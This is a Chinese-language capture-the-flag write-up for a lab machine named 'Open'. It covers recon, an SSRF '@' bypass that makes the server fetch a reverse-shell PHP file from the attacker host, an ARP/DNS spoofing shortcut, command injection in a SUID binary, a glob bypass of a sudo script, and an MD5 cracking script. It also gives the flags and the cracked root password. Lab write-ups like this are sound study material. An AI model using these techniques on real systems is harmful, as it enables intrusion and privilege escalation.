一、信息收集

1. 主机发现

使用 `arp-scan` 在本地网络进行扫描，发现目标主机 IP 地址为 `192.168.205.239`。

```
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
...
192.168.205.239 08:00:27:3b:0f:b3       (Unknown)
...
```

2. 端口与服务扫描

通过 `nmap` 对目标主机进行全端口扫描，确认其开放了 22 (SSH) 和 80 (HTTP) 端口。

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.205.239
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

3. Web 服务侦察

直接访问目标 IP 会自动重定向到域名 `open.dsz`。因此，首先在攻击机上配置 `/etc/hosts` 文件，将该域名指向目标 IP。

```
# /etc/hosts 文件中添加
192.168.205.239 open.dsz
```

接着使用 `gobuster` 进行目录枚举，发现了 `info.txt` 和 `info.php` 文件。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://open.dsz -w ...
...
/index.php            (Status: 200)
/info.txt             (Status: 200)
/info.php             (Status: 200)
...
```

查看 `info.txt` 的内容发现它包含 PHP 代码，这暗示服务器可能存在文件包含或解析漏洞。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://open.dsz/info.txt
<?php phpinfo();?>
```

二、初始访问

Web 渗透 (SSRF)

网站主页提供了一个功能，允许通过 URL 参数 `?url=` 来加载指定的页面。

经过测试，发现后端对 URL 进行了限制，只允许加载以 `http://open` 开头的地址，并且会解析 `info.txt`，那就有一个作弊的方法

```
sudo bettercap
set arp.spoof.targets 192.168.205.239
set dns.spoof.domains http://open.cnm
set dns.spoof.address 192.168.205.128
arp.spoof on
dns.spoof on
```

DNS劫持,然后挂一个反弹shell服务

当然这是作弊的方法，正常的思路是这个过滤机制可以通过在 URL 中使用 `@` 符号来绕过，这是一种典型的服务器端请求伪造 (SSRF) 漏洞。我们可以利用此漏洞，使服务器请求并执行我们托管的恶意文件。

攻击步骤:

1. 在攻击机 (Kali) 上创建一个反弹 shell 的 PHP 文件 (`reverse.php`)。
2. 在攻击机上开启一个临时的 HTTP 服务器。
3. 构造恶意的 URL，利用 `@` 符号绕过主机验证，并指向攻击机上的反弹 shell 文件。
4. 在 Kali 上开启 `netcat` 监听。

恶意 URL:

```
http://open.dsz/?url=http://open.dsz@192.168.205.128/reverse.php
```

访问上述 URL 后，成功在本地 `netcat` 监听器上接收到了来自目标服务器的 `www-data` 用户反弹 shell。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.239] 45778
...
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

三、权限提升

1. 从 `www-data` 到 `miao`

获取初始 shell 后，在 `/home` 目录下发现了 `giao`, `miao`, `xiao` 三个用户。在 `/opt` 目录中，发现了一个具有 SUID 权限的可执行文件 `echo`。

```
www-data@Open:/opt$ ls -al
...
-rwsr-sr-x  1 root root 17008 Jul 29 03:06 echo
...
```

通过逆向分析`echo`文件，发现它存在命令注入漏洞。

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[2]; // [rsp+1Eh] [rbp-232h] BYREF
  _QWORD v5[2]; // [rsp+20h] [rbp-230h] BYREF
  int v6; // [rsp+30h] [rbp-220h]
  char v7[8]; // [rsp+34h] [rbp-21Ch] BYREF
  char dest[524]; // [rsp+40h] [rbp-210h] BYREF
  int v9; // [rsp+24Ch] [rbp-4h]

  if ( setgid(0x3E8u) || setuid(0x3E8u) )
  {
    fwrite("鏉冮檺璁剧疆澶辫触\n", 1uLL, 0x13uLL, stderr);
    return 1;
  }
  else if ( argc > 1 )
  {
    v5[0] = 0xE75B27206F686365LL;
    v5[1] = 0x93BEE8B788E6A894LL;
    v6 = 1571128805;
    strcpy(v7, ": ");
    strcpy(v4, "'");
    strcpy(dest, (const char *)v5);
    strcat(dest, argv[1]);
    strcat(dest, v4);
    printf(asc_2047, dest);
    v9 = system(dest);
    if ( v9 == -1 )
    {
      perror(s);
      return 1;
    }
    else
    {
      return 0;
    }
  }
  else
  {
    printf("浣跨敤鏂规硶: %s \"瑕佸湪鍔犺浇鍐呭\"\n", *argv);
    return 1;
  }
}
```

该程序会将其获取的命令行参数直接拼接到一个系统命令字符串中并执行，并且会以用户 `miao` (UID 1000) 的权限运行。

利用此漏洞，通过注入 `bash -p` 命令，我们成功获得了一个拥有 `miao` 用户权限的 shell。

```
www-data@Open:/opt$ ./echo "'; id; whoami #"
执行命令: echo '[用户输入]: '; id; whoami #'
[用户输入]:
uid=1000(miao) gid=1000(miao) groups=1000(miao),33(www-data)
miao

www-data@Open:/opt$ ./echo "'; bash -p #"
执行命令: echo '[用户输入]: '; bash -p #'
[用户输入]:
miao@Open:/opt$ id
uid=1000(miao) gid=1000(miao) groups=1000(miao),33(www-data)
```

同时，在 `miao` 的家目录下，找到了第一个 flag 文件 `user.txt`。

```
miao@Open:/opt$ cat /home/miao/user.txt
flag{user-b026324c6904b2a9cb4b88d6d61c81d1}
```

2. 从 `miao` 到 `root`

成为 `miao` 用户后，执行 `sudo -l` 发现该用户可以无密码执行 `/opt/hello.sh` 脚本。

```
miao@Open:/opt$ sudo -l
...
User miao may run the following commands on Open:
    (ALL) NOPASSWD: /opt/hello.sh
```

查看该脚本内容，发现它对输入参数 "dsz" 做了判断。如果参数完全等于 "dsz"，脚本会直接退出。然而，脚本使用了 `[ $1 = "dsz" ]` 这种不严谨的判断方式。

```
miao@Open:/opt$ cat hello.sh
PATH=/usr/bin
[ -n "$1" ] || exit 1
[ "$1" = "dsz" ] && exit 2
#[ $1 = "dsz" ] && cat /root/password.txt | md5sum | awk '{print $1}'
[ $1 = "dsz" ] && cat /root/password.txt
echo "Goodbye!"
```

我们可以通过 `bash` 的通配符扩展（globbing）来绕过这个检查。

1. 在 `/tmp` 目录下创建一个名为 `"dsz "`（注意末尾有空格）的文件。
2. 执行 `sudo /opt/hello.sh *`，此时 `*` 会被 shell 扩展为文件名 `"dsz "`，从而绕过了 `[ "$1" = "dsz" ]` 的检查，并成功执行了 `cat /root/password.txt` 命令。

```
miao@Open:/tmp$ touch 'dsz '
miao@Open:/tmp$ sudo /opt/hello.sh *
6cd1f22e65d26246530ff7a2528144e3
Goodbye!
```

我们得到了一个 MD5 哈希。值得注意的是，脚本中获取哈希的方式是 `cat /root/password.txt | md5sum`，这意味着被哈希的原始密码字符串末尾会包含一个换行符 (`\n`)。

使用自定义的 Python 脚本，针对包含换行符的密码进行爆破，最终成功破解出 `root` 用户的密码为 `do167watt041`。

```
import threading
import hashlib

f = '/usr/share/wordlists/rockyou.txt'
h = '6cd1f22e65d26246530ff7a2528144e3'
fnd = False
thd = 1000

def md5chk(w):
    global fnd
    if fnd:
        return
    m = hashlib.md5(w).hexdigest()
    if m == h:
        with threading.Lock():
            if not fnd:
                fnd = True
                print(f'\n[+] 命中: {w.decode().strip()}')
        exit()


with open(f, 'rb') as fd:
    lines = fd.readlines()

print("爆破中...")

def worker(line):
    global fnd
    if not fnd:
        md5chk(line)

ts = []
for line in lines:
    if fnd:
        break

    while threading.active_count() > thd:
        pass
    t = threading.Thread(target=worker, args=(line,))
    t.start()
    ts.append(t)


for t in ts:
    t.join()

if not fnd:
    print("\n[-] 未找到匹配项")
```

使用该密码成功切换到 `root` 用户。

```
miao@Open:/tmp$ su -
Password: do167watt041
root@Open:~# id
uid=0(root) gid=0(root) groups=0(root)
```

四、夺取旗帜

获取 root 权限后，读取所有旗帜文件。

```
root@Open:~# cat /home/miao/user.txt
flag{user-b026324c6904b2a9cb4b88d6d61c81d1}

root@Open:~# cat /root/root.txt
flag{root-6cd1f22e65d26246530ff7a2528144e3}
```